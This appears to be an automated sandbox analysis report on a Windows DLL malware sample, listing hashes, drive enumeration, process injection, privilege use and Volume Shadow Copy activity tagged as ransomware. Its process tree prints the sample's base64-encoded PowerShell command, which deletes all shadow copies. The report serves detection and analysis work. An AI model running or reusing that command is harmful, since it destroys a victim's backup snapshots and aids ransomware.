42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
16-05-2024 01:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4903f3effb98da65c49bb9591c16615d_JaffaCakes118.dll
Size

164KB
MD5

4903f3effb98da65c49bb9591c16615d
SHA1

d53e85991420c1475385babd72d31ee77faefc6d
SHA256

42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83
SHA512

454b8a5f3528ce77d993b84ccd0df7b8f0843a6a47516b1aa13fe6cbb79d1853646e03c7c9663266df154fd464f594d41be1e392d0c8c3dd676e4348e5149880
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaDn3Ka9:BrltH05f5v2i7O93Nenaa9

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

2248 rundll32.exe
2268 powershell.exe

pid	process
2248	rundll32.exe
2268	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeBackupPrivilege	2616	vssvc.exe
Token: SeRestorePrivilege	2616	vssvc.exe
Token: SeAuditPrivilege	2616	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 1084 wrote to memory of 2248	1084	rundll32.exe	rundll32.exe
PID 2248 wrote to memory of 2268	2248	rundll32.exe	powershell.exe
PID 2248 wrote to memory of 2268	2248	rundll32.exe	powershell.exe
PID 2248 wrote to memory of 2268	2248	rundll32.exe	powershell.exe
PID 2248 wrote to memory of 2268	2248	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4903f3effb98da65c49bb9591c16615d_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\4903f3effb98da65c49bb9591c16615d_JaffaCakes118.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1720

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2616

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2268-4-0x000007FEF4D5E000-0x000007FEF4D5F000-memory.dmp

Filesize
4KB

Download
memory/2268-5-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/2268-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2268-7-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-8-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-9-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-10-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-11-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-12-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads